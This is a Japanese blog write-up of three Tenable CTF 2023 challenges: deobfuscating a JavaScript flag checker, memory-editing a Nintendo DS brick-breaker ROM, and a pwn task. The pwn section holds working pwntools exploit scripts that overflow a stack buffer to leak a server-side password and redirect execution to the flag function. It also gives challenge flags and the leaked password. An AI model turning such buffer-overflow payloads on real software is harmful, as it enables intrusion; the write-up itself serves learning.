All Articles

TENABLE CTF 2023 Writeup

8/10 から開催されていた Tenable CTF に参加してました。

初めて触る DS のバイナリ問題もあり、非常に楽しめました。

もくじ

The Javascript One(Rev)

非常に長い難読化された Javascript が与えられました。

var _0x4b0817=_0x3cdb;(function(_0x25abc1,_0x1b11ab){var _0x21dd4f=_0x3cdb,_0x15cf55=_0x25abc1();while(!![]){try{var _0x187219=parseInt(_0x21dd4f(0x1ca))/(0x1389*0x1+0x57b*0x2+-0x1e7e)*(parseInt(_0x21dd4f(0x194))/(-0x1*0x1e08+0xb8e*-0x3+0x40b4))+-parseInt(_0x21dd4f(0x1c2))/(-0x1a7d*0x1+0x952+0x112e)*(-parseInt(_0x21dd4f(0x1a6))/(0xbf6+-0x8*-0x13a+-0x15c2))+parseInt(_0x21dd4f(0x1ad))/(-0x185*-0x1+-0x4*-0x3cf+0xc*-0x165)+parseInt(_0x21dd4f(0x1a2))/(0x20*0x133+-0x7f1*0x4+0x6*-0x119)+parseInt(_0x21dd4f(0x1c9))/(0x1*0xfb6+0x2*0xc83+-0x265*0x11)+parseInt(_0x21dd4f(0x1a7))/(0x25a6+-0x3*-0x621+-0x3801)*(-parseInt(_0x21dd4f(0x1b7))/(-0x18e*-0x16+0x8aa+-0x2b*0xff))+-parseInt(_0x21dd4f(0x1cb))/(0x113e+-0x141c+0x2e8);if(_0x187219===_0x1b11ab)break;else _0x15cf55['push'](_0x15cf55['shift']());}catch(_0x21d777){_0x15cf55['push'](_0x15cf55['shift']());}}}(_0x1393,-0x34942*-0x1+-0xb9ef*0x5+0x21f*0x1a7));var _0x5114=[_0x4b0817(0x185),_0x4b0817(0x1bf),'',_0x4b0817(0x1c6),_0x4b0817(0x1bb),_0x4b0817(0x18f),_0x4b0817(0x1a3),_0x4b0817(0x1a5),_0x4b0817(0x1b5)+_0x4b0817(0x18e),_0x4b0817(0x1a9)+_0x4b0817(0x1a8),_0x4b0817(0x1c3)+_0x4b0817(0x1c4)+_0x4b0817(0x180)+'==',_0x4b0817(0x1ab),_0x4b0817(0x1b1),_0x4b0817(0x1c1)+'MY',_0x4b0817(0x195)+_0x4b0817(0x187),_0x4b0817(0x1d0)+'de',_0x4b0817(0x182)+_0x4b0817(0x1ce),_0x4b0817(0x192)+_0x4b0817(0x1b2),_0x4b0817(0x1d2),_0x4b0817(0x1a0)+'Cv',_0x4b0817(0x186),_0x4b0817(0x1a1)+'I',_0x4b0817(0x181)],_0x7f9546=_0x3e24;(function(_0x2039c6,_0x12f713){var _0x24cab8=_0x4b0817,_0x5ed4a9={'XogTu':function(_0x4afa24){return _0x4afa24();},'yyyaI':function(_0x309c66,_0x17e50c){return _0x309c66+_0x17e50c;},'ZDyDa':function(_0x4d4143,_0x38feb7){return _0x4d4143+_0x38feb7;},'fQYsf':function(_0x423427,_0x4a76cb){return _0x423427+_0x4a76cb;},'XkZxe':function(_0x1c2500,_0x211bd6){return _0x1c2500+_0x211bd6;},'YtPFU':function(_0x4f310c,_0x29107b){return _0x4f310c+_0x29107b;},'LElVZ':function(_0x4da361,_0x3d844a){return _0x4da361*_0x3d844a;},'lthNi':function(_0x254f36,_0x4036b9){return _0x254f36/_0x4036b9;},'FnyYM':function(_0x2a6bae,_0x131a5f){return _0x2a6bae(_0x131a5f);},'cqLDK':function(_0x3484d5,_0x10daef){return _0x3484d5/_0x10daef;},'XAodd':function(_0x53a610,_0x6585ab){return _0x53a610(_0x6585ab);},'GGhhk':function(_0x3c1e55,_0xbe132){return _0x3c1e55(_0xbe132);},'Yfgkk':function(_0x12798b,_0x49e92a){return _0x12798b/_0x49e92a;},'TLayY':function(_0x1f8df0,_0x3ee29e){return _0x1f8df0(_0x3ee29e);},'LtDWI':function(_0x47290d,_0x84e5f8){return _0x47290d/_0x84e5f8;},'MDSIC':function(_0x30a462,_0x10fac8){return _0x30a462(_0x10fac8);},'UeUNF':function(_0x101122,_0x37e9b8){return _0x101122(_0x37e9b8);},'RzOAR':function(_0x28b535,_0x2464c0){return _0x28b535*_0x2464c0;},'yZQwd':function(_0x30521b,_0x45abb4){return _0x30521b(_0x45abb4);},'fDKaB':function(_0x104758,_0x2e7690){return _0x104758(_0x2e7690);},'pepyh':function(_0x48c45c,_0x23453a){return _0x48c45c(_0x23453a);},'HVjXx':function(_0x53995d,_0x1b9ace){return _0x53995d*_0x1b9ace;},'Srhqn':function(_0x4d9b65,_0x4ea57c){return _0x4d9b65(_0x4ea57c);},'jxjuK':function(_0x463d38,_0x1f421e){return _0x463d38(_0x1f421e);},'fdNFC':function(_0x3a2fbc,_0x5346bd){return _0x3a2fbc/_0x5346bd;},'ATFpB':function(_0x59f6d4,_0x1f38ec){return _0x59f6d4(_0x1f38ec);},'FFiHo':function(_0xf255bd,_0x372bf7){return _0xf255bd(_0x372bf7);},'paKiw':function(_0xb10021,_0x2498ab){return _0xb10021/_0x2498ab;},'BdmMA':function(_0x3b30df,_0x7ddaf0){return _0x3b30df(_0x7ddaf0);},'QisZw':function(_0x18ad87,_0xccfe22){return _0x18ad87*_0xccfe22;},'XxhbU':function(_0x17c2b,_0x1845c8){return _0x17c2b/_0x1845c8;},'Epuem':function(_0x272c9f,_0x29ef26){return _0x272c9f===_0x29ef26;}},_0x2ea0a6=_0x3e24,_0x35cb0d=_0x5ed4a9[_0x24cab8(0x1b8)](_0x2039c6);while(!![]){try{var _0xcf8c8d=_0x5ed4a9[_0x24cab8(0x188)](_0x5ed4a9[_0x24cab8(0x188)](_0x5ed4a9[_0x24cab8(0x1ae)](_0x5ed4a9[_0x24cab8(0x17e)](_0x5ed4a9[_0x24cab8(0x1b0)](_0x5ed4a9[_0x24cab8(0x1bd)](_0x5ed4a9[_0x24cab8(0x1a4)](_0x5ed4a9[_0x24cab8(0x197)](_0x5ed4a9[_0x24cab8(0x189)](parseInt,_0x5ed4a9[_0x24cab8(0x189)](_0x2ea0a6,0xe7a+-0xfcd+-0x25f*-0x1)),0x1aa2+-0x74*0x25+-0x1*0x9dd),_0x5ed4a9[_0x24cab8(0x18b)](_0x5ed4a9[_0x24cab8(0x196)](parseInt,_0x5ed4a9[_0x24cab8(0x19f)](_0x2ea0a6,-0x2659+-0x1*0x1e59+-0x45c5*-0x1)),-0xf77*-0x2+0xd0d+-0x2bf9*0x1)),_0x5ed4a9[_0x24cab8(0x198)](-_0x5ed4a9[_0x24cab8(0x196)](parseInt,_0x5ed4a9[_0x24cab8(0x1aa)](_0x2ea0a6,0x29+0x249f+-0x23bb)),0x1030+-0x223f+0x202*0x9)),_0x5ed4a9[_0x24cab8(0x1b3)](_0x5ed4a9[_0x24cab8(0x199)](parseInt,_0x5ed4a9[_0x24cab8(0x19b)](_0x2ea0a6,0x229e+-0xac2+-0x16ce)),-0x1*-0x16aa+0x531+-0x1bd7)),_0x5ed4a9[_0x24cab8(0x19e)](_0x5ed4a9[_0x24cab8(0x198)](-_0x5ed4a9[_0x24cab8(0x1aa)](parseInt,_0x5ed4a9[_0x24cab8(0x193)](_0x2ea0a6,0x32f*0xc+-0x4b6+-0x2075)),-0x5*0x722+0x1d10+-0x71*-0xf),_0x5ed4a9[_0x24cab8(0x18b)](-_0x5ed4a9[_0x24cab8(0x1c5)](parseInt,_0x5ed4a9[_0x24cab8(0x1b4)](_0x2ea0a6,0x260e*0x1+0xd46+-0x3240)),0x67*-0x17+0x74c*-0x4+0x2677))),_0x5ed4a9[_0x24cab8(0x1ba)](_0x5ed4a9[_0x24cab8(0x1b3)](-_0x5ed4a9[_0x24cab8(0x18a)](parseInt,_0x5ed4a9[_0x24cab8(0x1c8)](_0x2ea0a6,0x1*-0x1f42+0x2611*-0x1+0x4668)),-0x1155+-0x1*-0x1369+-0x20d),_0x5ed4a9[_0x24cab8(0x183)](_0x5ed4a9[_0x24cab8(0x1d1)](parseInt,_0x5ed4a9[_0x24cab8(0x17d)](_0x2ea0a6,0xf4*-0x3+0x33*-0x47+0x3*0x608)),-0x79*0x27+-0x3*-0x1be+0xd3d*0x1))),_0x5ed4a9[_0x24cab8(0x184)](_0x5ed4a9[_0x24cab8(0x17d)](parseInt,_0x5ed4a9[_0x24cab8(0x1b9)](_0x2ea0a6,0x269d+-0x24e3+-0x22*0x5)),0xee8+-0x1f86+0x10a7)),_0x5ed4a9[_0x24cab8(0x1ac)](_0x5ed4a9[_0x24cab8(0x184)](-_0x5ed4a9[_0x24cab8(0x189)](parseInt,_0x5ed4a9[_0x24cab8(0x193)](_0x2ea0a6,0x1*0x713+0x90f*-0x4+-0x1*-0x1e41)),0xeaf+0x1874+-0x1*0x2719),_0x5ed4a9[_0x24cab8(0x1cd)](_0x5ed4a9[_0x24cab8(0x196)](parseInt,_0x5ed4a9[_0x24cab8(0x1c8)](_0x2ea0a6,-0x1*-0x11c3+-0xa7*0x7+-0xc19)),0x1c1e+-0x4*0x664+-0x283)));if(_0x5ed4a9[_0x24cab8(0x190)](_0xcf8c8d,_0x12f713))break;else _0x35cb0d[_0x5114[-0x1690+0x25f9+-0xf68]](_0x35cb0d[_0x5114[0xb41*-0x1+0x223*0x8+-0x5d7]]());}catch(_0x1a4061){_0x35cb0d[_0x5114[0x1ebd+0xb*0x5+0x1ef3*-0x1]](_0x35cb0d[_0x5114[-0x14bc+0x17cd+0x311*-0x1]]());}}}(_0x2a8b,0x595*0x128+-0x5808+-0x1337a));function _0x3e24(_0x56ccee,_0x54f27c){var _0x1811c7=_0x4b0817,_0x295265={'ehwdC':function(_0x5a6221,_0x399f0d){return _0x5a6221-_0x399f0d;},'skamI':function(_0x4896f4){return _0x4896f4();},'FlluK':function(_0x1d7300,_0x570086,_0x467f44){return _0x1d7300(_0x570086,_0x467f44);}},_0x5388f8=_0x295265[_0x1811c7(0x18d)](_0x2a8b);return _0x3e24=function(_0x42bf11,_0x12aaa8){var _0x4775d2=_0x1811c7;_0x42bf11=_0x295265[_0x4775d2(0x191)](_0x42bf11,-0xcea+-0xc08+-0x3*-0x8a9);var _0x4805b5=_0x5388f8[_0x42bf11];return _0x4805b5;},_0x295265[_0x1811c7(0x18c)](_0x3e24,_0x56ccee,_0x54f27c);}var flag=_0x7f9546(0x132d*-0x1+0xc6f*0x2+0x3*-0x18d);function _0x1393(){var _0xe03e2e=['paKiw','shift','6nMpKMt','aqE','yyyaI','FnyYM','Srhqn','cqLDK','FlluK','skamI','mKB','reverse','Epuem','ehwdC','Not\x20implem','yZQwd','2kMQraK','2282352jiO','XAodd','lthNi','Yfgkk','MDSIC','FmpvA','UeUNF','oQUxU','avbDa','RzOAR','GGhhk','236046XdgO','48517AjJpR','2248020VDmzGa','424erSbWD','LElVZ','50VJNKtb','4996gCHKLM','387064uVnprw','Jlj','2681065Vjg','TLayY','split','QisZw','314000fQcnwx','ZDyDa','PvOKR','XkZxe','3IoFoig','ented.','LtDWI','pepyh','2285525hAx','qvVmj','9guhgOr','XogTu','BdmMA','HVjXx','charCodeAt','jSHtH','YtPFU','vOOEr','push','mbDZk','310080UgNx','123tzQtJD','Zm1jZH92N2','tkcFVhbXs6','fDKaB','length','FcKRF','jxjuK','2490096jpjurH','142439ZMbchO','7314070bHQAMC','FkhwG','XxhbU','WRq','GHSLi','fromCharCo','ATFpB','join','EZnJl','eylpU','FFiHo','fQYsf','PSMEK','fHNjI2NgaA','log','3333978wBY','fdNFC'];_0x1393=function(){return _0xe03e2e;};return _0x1393();}function validateFlag(_0x1dd864){var _0x33275d=_0x4b0817,_0x3c0709={'vOOEr':function(_0x2d9486,_0x35b810){return _0x2d9486(_0x35b810);},'GHSLi':function(_0x23567d,_0x28c3a7){return _0x23567d(_0x28c3a7);},'PSMEK':function(_0x5b7ded,_0x32f3cd){return _0x5b7ded(_0x32f3cd);},'EZnJl':function(_0x47ef0d,_0x4092ed){return _0x47ef0d===_0x4092ed;},'oQUxU':function(_0x46111c){return _0x46111c();}},_0x3de655=_0x3c0709[_0x33275d(0x1be)](reverseFlag,_0x1dd864),_0xf4a196=_0x3c0709[_0x33275d(0x1cf)](encryptFlag,_0x3de655),_0x4269fd=_0x3c0709[_0x33275d(0x17f)](decryptFlag,_0xf4a196);return _0x3c0709[_0x33275d(0x1d3)](_0x4269fd,_0x3c0709[_0x33275d(0x19c)](getSolution));}function reverseFlag(_0x5aa062){var _0x20cbfc=_0x4b0817,_0x2a64bc={'qvVmj':function(_0x2de971,_0x489884){return _0x2de971(_0x489884);},'avbDa':function(_0x283f8d,_0x5512cf){return _0x283f8d(_0x5512cf);}},_0x47f56d=_0x7f9546;return _0x5aa062[_0x2a64bc[_0x20cbfc(0x1b6)](_0x47f56d,0x7*-0x19+0x1a1d+-0x1863)](_0x5114[0x21ad+0x527*-0x5+-0x7e8])[_0x2a64bc[_0x20cbfc(0x1b6)](_0x47f56d,-0x605*-0x6+-0x317*0xb+-0x59*0x3)]()[_0x2a64bc[_0x20cbfc(0x19d)](_0x47f56d,0x28*0xdc+-0x819*-0x3+-0x1*0x3999)](_0x5114[0x4*0x529+0x7c*0x49+0x12aa*-0x3]);}function encryptFlag(_0xbf47e0){var _0x544acc=_0x4b0817,_0x3b452a={'FkhwG':function(_0x51232f,_0x5aa8bc){return _0x51232f<_0x5aa8bc;},'FmpvA':function(_0x6f16c8,_0x471210){return _0x6f16c8^_0x471210;},'eylpU':function(_0xf9e80b,_0x2d8527){return _0xf9e80b(_0x2d8527);},'jSHtH':function(_0x48ef2f,_0x58bfa4){return _0x48ef2f(_0x58bfa4);}},_0x3eca0a=_0x7f9546,_0x381330=_0x5114[-0xe72+0x467+0xa0d*0x1];for(var _0x191b0f=0x12*-0x12e+-0x1c6e+0x31aa;_0x3b452a[_0x544acc(0x1cc)](_0x191b0f,_0xbf47e0[_0x5114[-0x9ec+-0x181f+0x5ad*0x6]]);_0x191b0f++){var _0x2bc446=_0xbf47e0[_0x5114[0x5*-0x5fd+-0x1*0x135d+-0xd6*-0x3b]](_0x191b0f),_0x5e8a75=_0x3b452a[_0x544acc(0x19a)](_0x2bc446,_0x191b0f);_0x381330+=String[_0x3b452a[_0x544acc(0x1d4)](_0x3eca0a,-0x25b*-0xc+-0x10f1+0x36c*-0x3)](_0x5e8a75);};return _0x3b452a[_0x544acc(0x1bc)](btoa,_0x381330);}function decryptFlag(_0x95b280){var _0x59fee7=_0x4b0817,_0x2324b3={'FcKRF':function(_0x1e3d30,_0x200e95){return _0x1e3d30(_0x200e95);}},_0x590411=_0x7f9546;return _0x2324b3[_0x59fee7(0x1c7)](_0x590411,0x1e3*-0x8+0x1e30+-0x15*0xab);}function getSolution(){var _0x4574b1=_0x4b0817,_0x130e77={'mbDZk':function(_0xde9ecc,_0x43f111){return _0xde9ecc(_0x43f111);}},_0x153882=_0x7f9546;return _0x130e77[_0x4574b1(0x1c0)](_0x153882,-0x92*0x28+-0x14*-0x65+0xffd);}function _0x3cdb(_0x381052,_0x232c3a){var _0x5b708f=_0x1393();return _0x3cdb=function(_0x21facc,_0x5b9257){_0x21facc=_0x21facc-(-0x661+-0x1*-0xa21+-0xc1*0x3);var _0x56da0f=_0x5b708f[_0x21facc];return _0x56da0f;},_0x3cdb(_0x381052,_0x232c3a);}function _0x2a8b(){var _0x352dcd=_0x4b0817,_0x44c662={'PvOKR':function(_0x257e73){return _0x257e73();}},_0x2d270d=[_0x5114[-0x1*0x579+-0x1eff+0x247d],_0x5114[0x2*-0x11f1+-0x1*-0x1289+-0x115f*-0x1],_0x5114[-0x190+-0x1*-0x149+0x27*0x2],_0x5114[0x9*0x39e+-0x1a93+-0x1*0x5f3],_0x5114[0x1be3+0x164b+-0x3225],_0x5114[0x25c+-0x1*0xa0b+0x1*0x7b9],_0x5114[0x14bf*0x1+0xa1*-0x1+0x3*-0x6b1],_0x5114[-0x1*-0x1915+-0x1*-0x2381+0x11f*-0x36],_0x5114[0x173f+0x7a8+-0x16*0x167],_0x5114[-0xacb+-0x3d9+0xeb2],_0x5114[0x1*0xb25+-0xc52+-0x1*-0x13c],_0x5114[-0x16a0+-0x35*-0xa1+-0xaa5],_0x5114[0x266e+0x29*-0x39+0x1d3c*-0x1],_0x5114[0x5*-0x48a+0x23ed+-0x3*0x463],_0x5114[0x17*0xff+-0xa*0x71+-0x4*0x49b],_0x5114[-0x1*0x421+-0x1e3a+-0xcd*-0x2b],_0x5114[0x1e45+0x279*0x1+-0x20a9]];return _0x2a8b=function(){return _0x2d270d;},_0x44c662[_0x352dcd(0x1af)](_0x2a8b);}console[_0x5114[0x5*-0x531+-0x1897*0x1+0x32a2]](flag);

フォーマットを整形して一通り眺めてみると、以下に抜粋する箇所が Flag の生成にかかわっていそうなことがわかりました。

var flag = _0x7f9546(0x132d * -0x1 + 0xc6f * 0x2 + 0x3 * -0x18d);

function encryptFlag(_0xbf47e0) {
    var _0x544acc = _0x4b0817,
        _0x3b452a = {
            FkhwG: function (_0x51232f, _0x5aa8bc) {
                return _0x51232f < _0x5aa8bc;
            },
            FmpvA: function (_0x6f16c8, _0x471210) {
                return _0x6f16c8 ^ _0x471210;
            },
            eylpU: function (_0xf9e80b, _0x2d8527) {
                return _0xf9e80b(_0x2d8527);
            },
            jSHtH: function (_0x48ef2f, _0x58bfa4) {
                return _0x48ef2f(_0x58bfa4);
            },
        },
        _0x3eca0a = _0x7f9546,
        _0x381330 = _0x5114[-0xe72 + 0x467 + 0xa0d * 0x1];
    for (
        var _0x191b0f = 0x12 * -0x12e + -0x1c6e + 0x31aa;
        _0x3b452a[_0x544acc(0x1cc)](
            _0x191b0f,
            _0xbf47e0[_0x5114[-0x9ec + -0x181f + 0x5ad * 0x6]],
        );
        _0x191b0f++
    ) {
        var _0x2bc446 =
            _0xbf47e0[_0x5114[0x5 * -0x5fd + -0x1 * 0x135d + -0xd6 * -0x3b]](
                _0x191b0f,
            ),
            _0x5e8a75 = _0x3b452a[_0x544acc(0x19a)](_0x2bc446, _0x191b0f);
        _0x381330 +=
            String[
                _0x3b452a[_0x544acc(0x1d4)](
                    _0x3eca0a,
                    -0x25b * -0xc + -0x10f1 + 0x36c * -0x3,
                )
            ](_0x5e8a75);
    }
    return _0x3b452a[_0x544acc(0x1bc)](btoa, _0x381330);
}

そこで、上記のスクリプトの難読化を解除します。

適当に難読化を解除してみると、以下のような結果が得られました。

var _0x544acc = _0x4b0817,
f_dict = {
    to_length: function (_0x51232f, _0x5aa8bc) {
        return _0x51232f < _0x5aa8bc;
    },
    xor: function (_0x6f16c8, _0x471210) {
        return _0x6f16c8 ^ _0x471210;
    },
    eylpU: function (_0xf9e80b, _0x2d8527) {
        return _0xf9e80b(_0x2d8527);
    },
    jSHtH: function (_0x48ef2f, _0x58bfa4) {
        return _0x48ef2f(_0x58bfa4);
    },
},
_0x3eca0a = _0x7f9546,
_0x381330 = '';

for (var i = 0;f_dict["to_length"](i,v_input.length);i++) {
    var word = v_input.charCodeAt(i,)
    _0x5e8a75 = f_dict["xor"](word, i);
    _0x381330 += String.fromCharCode(_0x5e8a75);
}

どうやら、何らかの形で得た Flag 文字列を、1 文字目から順番にインデックスで XOR した後に Base64 エンコードを行っていることがわかります。

そこで、そのまま以下の復号スクリプトを作成し、Flag を取得することができました。

var flag = ""
var d = atob('Zm1jZH92N2tkcFVhbXs6fHNjI2NgaA==')
for (var i = 0; i < d.length; i++)
{
    c = d.charCodeAt(i,)
    flag += String.fromCharCode(c ^ i)
}

// flag{s1lly_jav4scr1pt}

Brick Breaker(Rev)

Stole some resources from public domain and made a brick breaker clone. Collision detection is bad and it’s pretty hard, but see if you can find the hidden message!

問題バイナリとして与えられた ctf.nds ですが、これは Nintendo DS Slot-2 ROM image (PassMe) のバイナリであることがわかります。

名称からして Nintendo DS の GBA スロットに差し込んで使えるイメージのようです。(初めて見た)

もう少し詳細を調べてみると、ROM は実際にはバイト配列として定義されており、サウンドやゲーム内のデータ(アイテムの情報など)や、実行可能なバックエンドプログラムなどがエンコードされているとのことです。

とりあえず実行にはエミュレータが必要そうなので調べてみたところ、以下のような Windows 上で動作するエミュレータを利用可能なようでした。

参考:NoGBADownloadLatestVersion:NoGBA Download Latest Version : NoGBA Emulator »

上記の記載を読むと、DS(もしくは GBA) のプログラムは C や C++ で開発できて入門しやすいとのことでした。

ゲームプログラムの開発や Reversing に関する情報は以下などが参考になりそうです。

参考:GBATEK - GBA/NDS Technical Info

参考:Reverse Engineering a DS Game - Starcube Labs - Gamedev Blog

まずは、上記の例を参考に与えられた ROM ファイルを解凍することにしました。

しかし、ndstool を使って解凍したバイナリを Ghidra で解析したものの、関数が多すぎて解析箇所を特定できませんでした。

そのため、No$GBA のデバッグバージョンを使用してゲームを起動してみることにします。

エミュレータで起動してみると、高難易度のブロック崩しのようなゲームであることがわかります。

image-20230812082055093

何が Flag になるのかよくわからなかったのでとりあえずゲームを進めてみたところ、最初のステージをクリアすると以下のブロックが表示されました。

image-20230812082032401

F、l と来ているので、ゲームをクリアし続けると Flag が取得できそうであることがわかります。

しかし、ブロック崩しの失敗回数は累積し、合計で 5 回失敗するとスコアがリセットされるため、通常のプレイではすべての Flag を取得できなさそうです。

そこで、CheatEngine を使ってプレイごとに 5,4,3… と減っていくメモリを特定し、改ざんすることで、無制限のプレイ回数を得ることに成功しました。

image-20230812085407095

これですべてのステージを力業で突破できるかと思いきや、flag まで取得するとステージが初めに戻ってしまうことがわかりました。

g の箇所でステージがリセットされてしまうのを回避するため、ステージの状態を保存しているメモリを探索します。

素直に 0,1,2,3.. もしくは 1,2,3,4.. でリセットされるものと思っていたので少し苦戦しましたが、1 つめの画面は Restart 画面でしたので、実際のステージは 2 からカウントされていることがわかりました。

ステージクリアごとに加算されているメモリを調査したところ、ステージを指定していると考えられるアドレスを特定できました。

このアドレスの値は 5 でリセットされるようになっていたので、6 以上の値に改ざんしてステージを進めてみたところ、以下のように先のステージに進んで Flag を取得できるようになりました。

image-20230812091720958

Skiddyana Pwnz and the Loom of Fate(Pwn)

Enter an ancient place, contrived beyond reason, and alter the fate of this world.

問題バイナリを実行すると、大きく以下の 3 つの処理を選択して実行することができます。

  1. 入力された最大 0x100 バイトの文字列をバッファに格納する処理(BoF の脆弱性あり)
  2. バッファの中身を printf("%s",buf) で出力する処理
  3. ハードコードされたパスワードに一致する入力が行われた場合に、バッファの中身を strcpy する処理(BoF により ROP が可能)

ここで、問題バイナリからハードコードされたパスワードを取得することで、以下の入力値にて Flag を表示する関数にジャンプすることが可能です。

# gdb -x solver.py
import gdb
from pprint import pprint

# pprint(dir(gdb))
BINDIR = "./Skiddyana_Pwnz_and_the_Loom_of_Fate"
BIN = "loom"
INPUT = "./in.txt"
OUT = "./out.txt"
BREAK = "0x401494"

gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b *{}'.format(BREAK))

with open(INPUT, "wb") as f:
    f.write(b"1\n")
    f.write(b"1\n")
    f.write(b"A"*(152) + b'\xb6\x12@\x00\x00\x00\x00\x00' + b"\n")
    f.write(b"3\n")
    f.write(b"thisisnotthepassword\n")
    f.write(b"1\n")

gdb.execute('run < {}'.format(INPUT, OUT))

しかし、問題サーバのバイナリには異なるパスワードがハードコードされているようで、Flag を取得するためにはまずパスワードをリークさせる必要があります。

リークのためには恐らく 2 番目の関数を使うだろうということはわかるのですが、printf は %s のフォーマットが指定されておりフォーマット文字列攻撃は利用できなさそうで、手詰まり感がありました。

チームの Pwn 担当にヘルプしてもらったところ、1 番目の関数で入力文字数が上限の 0x100 を超える場合でも、以下の箇所で local_10(入力バッファ) のアドレスが戻り値に格納されることがわかります。

image-20230812002454419

この時、0x100 を超えるためバッファの汚染はできないものの、fgets の時点でローカルスタックの BoF により戻り値の操作を行うことが可能です。

そのため、ここで戻り値にパスワードのアドレスを埋め込むことで、2 の処理を呼び出した際にパスワードをリーク可能になります。

実際に、以下のコードでパスワードをリークできました。

from pwn import *
import binascii
import time

elf = ELF("./loom")
context.binary = elf

# Remote
p = remote("0.cloud.chals.io", 33616)
# p = process("./loom")

payload = b"A"*(280) + p64(0x40232a)

print(p.recvline())
r = p.recvuntil(b"4) leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
r = p.recvuntil(b"2) Leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
p.sendline(payload)

r = p.recvuntil(b"4) leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"2")

image-20230812003455462

あとは、リークしたパスワードを使用して以下の Solver を使用することで Flag を取得できました。

from pwn import *
import binascii
import time

elf = ELF("./loom")
context.binary = elf

# Remote
p = remote("0.cloud.chals.io", 33616)
# p = process("./loom")

# payload = b"A"*(280) + p64(0x40232a)
payload = b"A"*(152) + b'\xb6\x12@\x00\x00\x00\x00\x00'

print(p.recvline())
r = p.recvuntil(b"4) leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
r = p.recvuntil(b"2) Leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
p.sendline(payload)

r = p.recvuntil(b"4) leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"3")

r = p.recvuntil(b"Speak the unpronouncable phrase to pass to the room of fates :")
print(r)
print(p.recvline())
p.sendline(b"QjVHST7M11cY7Ws6mXU1")
r = p.recvline()
r = p.recvuntil(b"2) No")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")

p.interactive()

image-20230812003640428